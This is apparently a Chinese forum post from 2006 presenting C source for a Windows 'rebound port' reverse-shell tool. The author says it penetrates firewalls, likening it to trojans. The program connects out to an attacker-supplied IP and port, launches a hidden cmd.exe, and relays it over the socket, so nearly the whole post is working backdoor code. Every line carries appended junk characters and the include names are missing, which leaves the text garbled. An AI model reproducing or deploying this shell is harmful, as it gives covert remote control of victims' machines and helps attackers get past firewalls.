这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z%<Z#5_N
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Rebound port in Windows NT .q"`)PT
By wind,2006/7 G n>#Mvq
===============================*/ tl !o;`W
#include >T'^&l(:
#include q$Gf9&ZO
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#pragma comment(lib,"wsock32.lib") i?.MD+f8
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void OutputShell(); *VmJydd
SOCKET sClient; 0R z'#O32V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xxpvVb)mF
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void main(int argc,char **argv) sG!SSRL@
{ N<}{oIsZ+
WSADATA stWsaData; !yI , ~`Z
int nRet; p(g0+.?`~
SOCKADDR_IN stSaiClient,stSaiServer; +]
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if(argc != 3) n}Pz:
{ 5xtIez]x?
printf("Useage:\n\rRebound DestIP DestPort\n"); @*`9!K%
return; 7O84R^!|2
} sN]O]qYXJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); bKRz=$P?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C]59@z;+bN
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stSaiClient.sin_family = AF_INET; B! $a Y
stSaiClient.sin_port = htons(0); TY6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *.nC'$-2r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F0
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{ G9"2h
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printf("Bind Socket Failed!\n"); _?$P?
return; >*r H Nf
} A14}
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stSaiServer.sin_family = AF_INET; =
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $Pv;>fHu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A&u"NgJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Huzw>
{ M`^;h: DN^
printf("Connect Error!"); DWT4D)C,U
return; TNs;#Q
} 7[aSP5e>T
OutputShell(); ?+EN.P[;3
} }H2<w-,+
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void OutputShell() ~Mu=,OT
{ wa/
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char szBuff[1024]; 5R6@A?vr
SECURITY_ATTRIBUTES stSecurityAttributes; 3N%%69JN)
OSVERSIONINFO stOsversionInfo; DY]\@<ez
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V-rzn171Q)
STARTUPINFO stStartupInfo; U)mg]o-VE
char *szShell; ,jVj9m
PROCESS_INFORMATION stProcessInformation; ^}nz^+R
unsigned long lBytesRead; T 9lk&7W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4'L%Wz[6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gHCk;dmq81
stSecurityAttributes.lpSecurityDescriptor = 0; ;yh}$)^9
stSecurityAttributes.bInheritHandle = TRUE; r2,AZ+4FP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,":l >0P[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +Fu=9j/,j
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sR%,l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K.CwtUt`54
stStartupInfo.wShowWindow = SW_HIDE; b.Wf*I?
stStartupInfo.hStdInput = hReadPipe; c o}o$}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7vBB <\
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GetVersionEx(&stOsversionInfo); N"d*pi#h
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switch(stOsversionInfo.dwPlatformId) Rxe
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{ 'MEO?]Tf.^
case 1: JpuF6mQ
szShell = "command.com"; WgBV,{C
break; oe1Dm
default: i,G )kt'H
szShell = "cmd.exe"; {eR,a-D!7
break;
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} 0>jo+b\D$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /mST<{(_G\
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send(sClient,szMsg,77,0); lH_S*FDa
while(1) |
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{ UYu 54`'kg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vab+58s5
if(lBytesRead) VU>s{_|{
{ E|f&SEnzK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Dim,HPx]d
send(sClient,szBuff,lBytesRead,0); H^s@qh)L
} mUi|vq)`=D
else h[c
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{ d7o~$4h|
lBytesRead=recv(sClient,szBuff,1024,0); &HKrmFgX{
if(lBytesRead<=0) break; m9^?p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #+Lo&%p#3
} ],%}}UN
} [MM11K
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return; lyzMKla"
}